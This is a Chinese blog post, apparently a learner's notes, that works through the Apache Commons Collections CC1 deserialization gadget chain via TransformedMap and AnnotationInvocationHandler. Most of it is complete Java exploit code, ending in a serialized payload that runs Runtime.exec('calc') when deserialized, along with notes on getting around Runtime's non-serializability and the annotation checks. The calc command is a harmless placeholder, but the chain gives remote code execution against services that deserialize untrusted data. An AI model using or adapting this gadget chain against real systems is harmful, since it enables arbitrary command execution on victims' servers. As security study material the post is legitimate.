自学内容网 自学内容网

Java反序列化CC1-TransformedMap链学习

学习参考:Java反序列化CC1链TransformedMap
核心是要学会基本EXP编写,还有怎么找传递链。

链子尾部

这里有一个能反射调用任意类,任意方法的:

image

以这个漏洞点写EXP,由于这个是public的InvokerTransformer,所以不需要反射,直接执行即可:
写一个正常Runtime弹calc的EXP,然后根据参数修改即可

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class InvokeTransformerTest {
    public static void main(String[] args) throws Exception{
        System.out.printf("Ok! Let's start CC1! \n");
//        Runtime runtime = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method method = c.getDeclaredMethod("exec", String.class);
//        method.setAccessible(true);
//        method.invoke(runtime,"calc");
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        invokerTransformer.transform(runtime);
    }
}

回溯找调用链

由于链子尾部是调用的transform,所以我们要找其它同名的transform方法。
直接Find Usage找不全,选择 ctrl+alt+shift+F7,选择所有位置即可找全。

找到TransformedMap的checkSetValue方法:
image

其中的valueTransformer来自构造函数。
重点在于,构造函数是protected的!所以得继续找其它调用构造函数的点:
image

Find Usage找到 decorate:
image

现在以decorate开头写一个到invoker结尾的EXP:
对于checkSetVaue,value要是runtime对象,valueTransformer要是InvokerTransformer.

然后由于这个CheckSetValue是protected,所以要反射调用。
先拿到TransformedMap的class,反射获取checkSetValue方法,setAccessible,然后invoke。

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class InvokeTransformerTest {
    public static void main(String[] args) throws Exception{
        System.out.printf("Ok! Let's start CC1! \n");
//        Runtime runtime = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method method = c.getDeclaredMethod("exec", String.class);
//        method.setAccessible(true);
//        method.invoke(runtime,"calc");
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> hashMap = new HashMap<>();
        Map decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
        Class<TransformedMap>transformedMapClass = TransformedMap.class;
        Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue",Object.class);
        checkSetValueMethod.setAccessible(true);
        checkSetValueMethod.invoke(decorateMap,runtime);
//        invokerTransformer.transform(runtime);
    }
}

继续往上找链子,很自然的想到找谁调用了checkSetValue;
唯一一个parent.checkSetValue.
找到调用checkSetValue的是一个Abstractxxx类的一个内部类MapEntry类:
image

往上面回溯两层setValue方法,可以找到来源:
image

image

是来自普遍的Map!

也就是Map在setValue的时候就会触发checkSetValue.

这里尝试验证一下:我们遍历一个map,setvalue(runtime):

package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class setValueTest {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("a",1);
        Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
        for(Map.Entry entry:decorateMap.entrySet()){
            entry.setValue(runtime);
        }
    }
}

发现确实走到checkSetValue了,同时EXP也成立:
image

继续往上找,找setValue的调用。

找入口类

找到一个readObject的入口类:
(呃呃呃,我的这个是class,不是源码,所以搜不到。。。)
image

然后这个类的构造函数的作用域是default,所以也得用反射写。
理想情况的EXP:

package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class idealExp {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("a",1);
        Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Override.class,decorateMap);
        serialize(o);
        deseralize("ser.bin");
    }
    public static void serialize(Object obj)throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object deseralize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

理想EXP的几个问题 && 解决

但有几个问题:

  1. Runtime对象不能序列化。

  2. 最终的setValue是需要传Runtime对象的,但这里直接看是不可控的:
    image

  3. 进入setValue前有两个if判断需要解决。

第一个问题:
Runtime对象不可序列化,但是Runtime.class可以。所以用反射来写。
而反射又需要用invokerTransformer来间接完成。
这里用chainedTransformer来简化。
image

这里就不写完了,只是写写Runtime.class和结合invokerTransformer后,再用chainedTransformer简化的部分,其余的链子思路都挺清晰的,现在不想写。。。

Runtime.class:(学到了。。。orz)

package org.example;

import java.lang.reflect.Method;

public class runtimeClassTest {
    public static void main(String[] args) throws Exception {
        Class c = Runtime.class;
        Method method = c.getMethod("getRuntime");
        Runtime runtime = (Runtime) method.invoke(null,null);
        Method run = c.getMethod("exec", String.class);
        run.invoke(runtime,"calc");
    }
}

特别是

Runtime runtime = (Runtime) method.invoke(null,null);

秀!

这样就完全可以改造为invokerTransformer的形式了。

package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class runtimeClassTest {
    public static void main(String[] args) throws Exception {
        Class c = Runtime.class;
//        Method method = c.getMethod("getRuntime");
//        Runtime runtime = (Runtime) method.invoke(null,null);
//        Method run = c.getMethod("exec", String.class);
//        run.invoke(runtime,"calc");
        Method runtimeMethod = (Method) new InvokerTransformer("getMethod",
                new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
        Runtime runtime = (Runtime) new InvokerTransformer("invoke",
                new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(runtimeMethod);
        Method run = (Method) new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},new Object[]{"exec",new Class[]{String.class}}).transform(c);
        run.invoke(runtime,"calc");
    }
}

然后结合chaindTransformer和decorate再写写,

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class idealExp {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{ 
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("a",1);
        Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Override.class,decorateMap);
        serialize(o);
        deseralize("ser.bin");
    }
    public static void serialize(Object obj)throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object deseralize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

然后在Annoxxx那两个if打断点,看看什么情况。
第一个if要求var7!=null:
image

而var7来自:

Class var7 = (Class)var3.get(var6);

我们构造函数的传参是:
image
是没有member的:
image

所以要找另外的注解。
直接跟着找到Target.java:
image

有一个成员value,所以我们put的值也要是value。
调整这两处:
image

这样再debug,var7就!=null了:
image

同时也能成功进入第二个if:
image

现在到了最后一个问题,setValue中的参数不可控。
能找到一个ConstantTransformer类:
image

那么就可以将setValue中new的那个AnnotationTypeMismatchExceptionProxy作为ConstantTransformer的transform的参数!然后iConstant我们可控,就能控制setValue的参数了。(orz ++)
具体到代码实现,刚好这个Constantxxx的transform方法可以添加到ChainedTransformer的开头~
FINAL EXP:(打断点多看看chained那儿)

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class idealExp {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), //
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("value",1);
        Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class,decorateMap);
        serialize(o);
        deseralize("ser.bin");
    }
    public static void serialize(Object obj)throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object deseralize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

image

最后再debug看看chained那儿:
image

第一次的transform就是设置Axxx这个为可控的iConstant(Runtime.class)
image

第二次就是getMethod获取getRuntime:
image

第三次就是method.invoke():
image

最后就是exec("calc"):
image

image

总结

先是找到结尾的反射调用任意类任意方法,然后往上回溯,找重名调用,最终找到入口readObject的类。
中间很多细节值得推敲,精妙!

利用链:

InvokerTransformer # transform
    TransformedMap # checkSetValue
        AbstractInputCheckedMapDecorator # setValue
            AnnotationInvocationHandler # readObject

image
<===
image
<===
image
<===
image


原文地址:https://blog.csdn.net/ULGANOY/article/details/142455413

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!